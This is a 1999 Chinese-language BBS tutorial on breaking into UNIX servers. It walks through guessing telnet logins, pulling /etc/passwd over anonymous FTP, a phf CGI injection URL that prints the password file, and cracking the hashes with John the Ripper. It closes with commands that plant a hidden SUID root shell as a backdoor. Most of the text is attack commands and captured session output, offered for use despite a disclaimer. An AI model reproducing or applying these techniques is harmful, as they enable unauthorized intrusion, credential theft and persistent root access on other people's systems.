回文章列表
作者lovelyan.bbs@bbs.kimo.com.tw (重新愛妳), 信區: hacker
標題如何入侵 UNIX 伺服器
時間奇摩大摩域 (Wed Jun 16 15:26:54 1999)
轉信站: GIBBS!news2.ncku!ctu-gate!news.nctu!newsfeed.nthu!news.cs.nthu!bbsnews.

Basic-Unix-Hack   By LondonWolf
Author E-Mail: londoner@cyberspace.org
[This's Chinese BIG-5 Code Document,
If you can't read try other software]
這是小弟LondonWolf第一次寫Hacker的文章,本人並不鼓勵人們去從事Hacking,
我只是告訴大家,Hacker們是如何Hack的......
若有人因此文件導致惡意入侵別人的電腦或網路, 本人概不負責 !!
動態 WWW 主機為我的爛電腦, 使用 OmniHTTP 架設,
因為是屬於撥接型態的上線方式, IP 為動態分配,
以 xxxxxIP 來進行動態 IP 的調整,
連線者必需要在我的主機已上線的狀況下才能進行連結.
如果連結後出現:DIPS: Error We are sorry,
the server london is not currently connected to the network.
The last time we saw this site was on Sun Oct 19 09:28:04 1997.
dips@bigfoot.com
表示弟的工作站並未連接到網路上, 所以無法連接,
但若你的 WWW Browser 有設定Proxy Server 的話,
有可能這項資料是上一位使用者連接時的 Cache,
所以請按一下 Browser 的 ReLoad 鍵, 還是這個畫面的話就確定無法連接了!

一 首先先講一點Unix的歷史:在1968~1969年間,
由Bell實驗室的Ken Thompson與Dennnis Ritchie, MIT, ...等,
想聯合發展第一套分時作業系統-MULTICS,
但還在發展中Bell認為Multics無法明示何時可以到達系統發展的目標,
所以在1969年退出!!在1970年Ken Thompson以組合語言寫了一個作業系統,
那就是-Unix.那在1971年初Ken Thompson又用了B語言改寫Unix,
很快的,Dennis Ritchie將B語言改成C語言後,在1973年也以C重寫Unix,
也就是今日Unix的藍本............

二 如何Hack ??Hack server都是用telnet跟ftp兩個程式進行....
那在那前要會一點unix指令更好
1 進入主機
2 取得etc/passwd
3 得到系統帳號
4 得到最高權威

三. 開始........
1 如何進入主機?
進入主機的方法有很多,可以用
port 23(Telnet),
port 25(Sendmail),
port 80(http)
現在來實做!!
Digital UNIX (ms.hinet.net) (ttypa)
login:londonwolf
Password:
Last login: Mon Dec 2 03:24:00 from 255.255.255.255
londonwolf>telnet hacked.com (用telnet port 23)
Trying 1.2.3.4...
Connected to hacked.com.
Escape character is '^]'.
Login:guest
password:
Login incorrect
Login:root (再一次)
Password:  Login incorrect
換一個port看看
londonwolf>ftp hacked.com (用ftp 的port)
Connected to 1.2.3.4220 ns.hacked.com
FTP server (Version wu-2.4.2-academ[BETA-12]
(1) Wed Mar 5 1
2:37:21 EST 1997) ready.
Name (hacker.com:londonwolf):
ftp
331 Password required for hacker.
331 Guest login ok,
send your complete e-mail address as password.
Password:
230-Welcome, archive user!
This is an experimental FTP server.
If have any
230-unusual problems,
please report them via e-mail to root@cool.com
230-If you do have problems,
please try using a dash (-) as the first character
230-of your password --
this will turn off the continuation messages that may
230-be confusing your ftp client.
230-230 Guest login ok, access restrictions apply.
Remote system type is UNIX.Using binary mode to transfer files.
(哇 ! 可以用 anonymous 進來耶!! password 部份輸入 a@ 就好了!不要留下足跡喔!!)
ftp>
這樣就進入主機了.........容易吧??

2.如何取得etc/passwd?
你可以用ftp或用telnet or用偷的用騙的用買的全都可以.....
教這篇文章的完成要感謝我的師父飛鷹,我的內容很多都跟他寫的CoolHC一樣,
你看完本文章後可以去看看CoolHc,那在本站可以取得最新的CoolHc!
本文章你可以任意Copy,收錄在你的HomePage中,但請保持本文章的完整性!!
有錯誤的地方或是意見請E-mail:londoner@cyberspace.org
http://www.geocities.com/Tokyo/Flat/6351
美國Geocities:http://www.taiwanese.com/~chenjohn
美國Taiwanese:http://hut.stanford.edu/dips/london
本人的爛電腦ICQ UIN:837092
用ftp進入.........ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
etc
pub
usr
bin
lib
incoming
welcome.msg
226 Transfer complete.
(嗯嗯... 太好了 ! 進來了 !! 下一個目標是.....)
ftp> cd etc
250 CWD command successful.
ftp> get passwd(抓回來 !!)
200 PORT command successful.
150 Opening BINARY mode data connection for passwd (566 bytes).
226 Transfer complete.
566 bytes received in 0.56 seconds (0.93 Kbytes/s)
就這麼容易!!或用你的瀏覽器抓:
http://www.somewhere.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
如果成功,出現的就是etc/passwd檔.......快存起來
2.1 介紹抓回來etc/passwd
etc/passwd是一個使用者定義檔,
它記錄著目前系統所有可登錄使用者的初始設定資料.
當使用者要登錄時系統就會去跟etc/passwd中的資料對照,
正確才能進入,不正確就不能進啦!!
那下面是一段etc/passwd
root:o.2vTcTnfP65o:0:1:Operator:/:/bin/csh
root1:hnrb8TY9./8z.:0:1:Student Supervisor:/:/bin/csh
root2:je83sQX/eeewo:0:1:Student Supervisor:/:/bin/csh
httpd:*:65533:65533: Nobody:/:/bin/csh
nobody:*:65534:1: Nobody:/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
sysadm:QFwz4m5db/Fu6:11:11:local account:/usr/users/sysadm:/bin/csh
adm1:X49cvW7MExJnY:100:10:local account-shu:/usr/users/adm1:/bin/csh
feya:*7OQkXz1K2h3QM:50000:100:feya test account:/usr/users/feya:/bin/csh
那現在來解釋一下這些東西是甚麼.........
feya:*7OQkXz1K2h3QM:50000:100:feya test account:/usr/users/feya:/bin/csh
1. 帳號:feya
2. 密碼:*7OQkXz1K2h3QM (已編碼過了,我會在下面介紹)
3. 使用者的代號:50000
4. group的代號:100
5. 註解:feya test account
6. 他的home目錄:/usr/users/feya
7: shell的格式:/bin/csh!!如果你拿到shadow的etc/passwd,
   你就要再得到etc/shadow然後用程式重組.......
2.3 甚麼是shadow ??有的機器為了安全起見,
把etc/passwd第二欄的密碼部份給拿出來,放到/etc/shadow中!!
那etc/passwd是大家都可以讀,那etc/shadow只有root可以讀,
一般使用者讀不了......下面show一段有shadow的etc/passwd
root:*:0:1:Operator:/:/bin/csh
root1:*:0:1:Student Supervisor:/:/bin/csh
root2:*:0:1:Student Supervisor:/:/bin/csh
httpd:*:65533:65533: Nobody:/:/bin/csh
nobody:*:65534:1: Nobody:/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag
sysadm:*:11:11:local account:/usr/users/sysadm:/bin/csh
adm1:*:100:10:local account-shu:/usr/users/adm1:/bin/csh
feya:*:50000:100:feya test account:/usr/users/feya:/bin/csh
這個跟上面的etc/passwd沒甚麼不同,只是密碼欄變成*(有的機器是!),那拿到這個
etc/passwd是沒用的......必須要想辦法拿到etc/shadow這個檔.....

3. 如何得到系統帳號?
要解etc/passwd就要用一些軟體...like Jack and John......那本人介紹john !!
John the Ripper v1.4
這個檔案可以在本網頁中找到........
3.1 使用方法:本人在這只介紹簡單的用法......
C:\john passwd -w:word -rule
這就開始找了,passwd檔是你抓回來的passwd檔,那word是字典檔,
可以在本網頁上抓取,那John the Ripper的詳細說明請參考CoolHC#8.
跑完後再打C:\john passwd -show
這樣他就show出來有多少人的密碼被你找到!!
有了系統帳號後就準備進入了......

4 得到最高權限!!
一般用John the Ripper 找出來root密碼的機會很少.....
所以要用一些系統的漏洞,那到那找這些漏洞呢???
請到:http://161.53.42.3/~crv/security/security.html
http://rootshell.connectnet.com/
那得到最高權威後別忘了留後門喔~~~

4.1 BackDoor:
比較簡單的方法是 suid shell ...
cp /usr/bin/sh /tmp/.cool
chmod a+x /tmp/.cool
chmod a+s /tmp/.cool
以後無論您是使用甚 account login ,只要一執行 /tmp/.cool 後,
suid就會便成 root ....
好了,到現在為止大家應該學會了Hacker應該要懂的東西了.....
當然成為一位Hacker沒這麼容易......所以大家要多學習......
那我也不是很厲害,請大家多多指教!!
--
※ Origin: 奇摩 大摩域 (bbs.kimo.com.tw) ◆ From: il244-149.dialup.seed.net.tw
文章選讀←離開[主題上]主題下(k)上篇(j)下篇S/a搜尋 G串列 TAB精華 ↑↓捲 Pg/Space翻